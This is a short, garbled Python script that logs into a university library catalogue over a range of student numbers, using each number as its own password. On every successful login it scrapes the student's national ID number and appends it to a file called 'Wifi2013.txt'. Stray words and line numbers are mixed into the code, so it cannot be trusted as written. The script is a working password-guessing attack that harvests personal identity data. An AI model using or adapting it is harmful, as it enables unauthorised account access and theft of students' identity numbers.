1 Importurllib.request2 ImportUrllib.parse3 ImportHttp.cookiejar4 ImportRe5 6Lib_login ='http://xxx.edu.cn/reader/redr_verify.php'7 8 defget_info (number, passwd, myfile):9CJ =Http.cookiejar.CookieJar ()TenPro =Urllib.request.HTTPCookieProcessor (CJ) OneOpener =Urllib.request.build_opener (PRO) A -Postdict = { - ' Number': Str (number), the 'passwd': Str (passwd), - 'Select':'Cert_no', - 'RETURNURL':"' - } +PostData =Urllib.parse.urlencode (postdict). Encode () -OP =Opener.open (Lib_login, PostData) +data =Op.read (). Decode () ALOG_OK =False atIs_login = Re.compile ('<font color= "Blue" >.*</font>') - forXinchIs_login.findall (data): -LOGIN_OK = Re.compile ('<[^>]+>') -LOGIN_OK = Login_ok.sub ("', X) - ifLogin_ok! ="': -LOG_OK =True in Else: -LOG_OK =False to ifLOG_OK: +person_id = Re.compile ('ID Number: </span>\d*</TD>') - forXinchPerson_id.findall (data): theUSR_PSW = Re.compile ('<[^>]+>') *USR_PSW = Usr_psw.sub ("', X) $USR_PSW + ='\ n'Panax NotoginsengNumber =Str (number) -Number + =' ' the myfile.write (number) + myfile.write (USR_PSW) A Myfile.flush () the Print(number +'OK') + Print(USR_PSW) - $f = open ('Wifi2013.txt','a') $ forIinchRange (2013002734, 2013003980): - Get_info (I, I, f) -F.close ()
Python gets the ID number corresponding to the OAPC account of the school library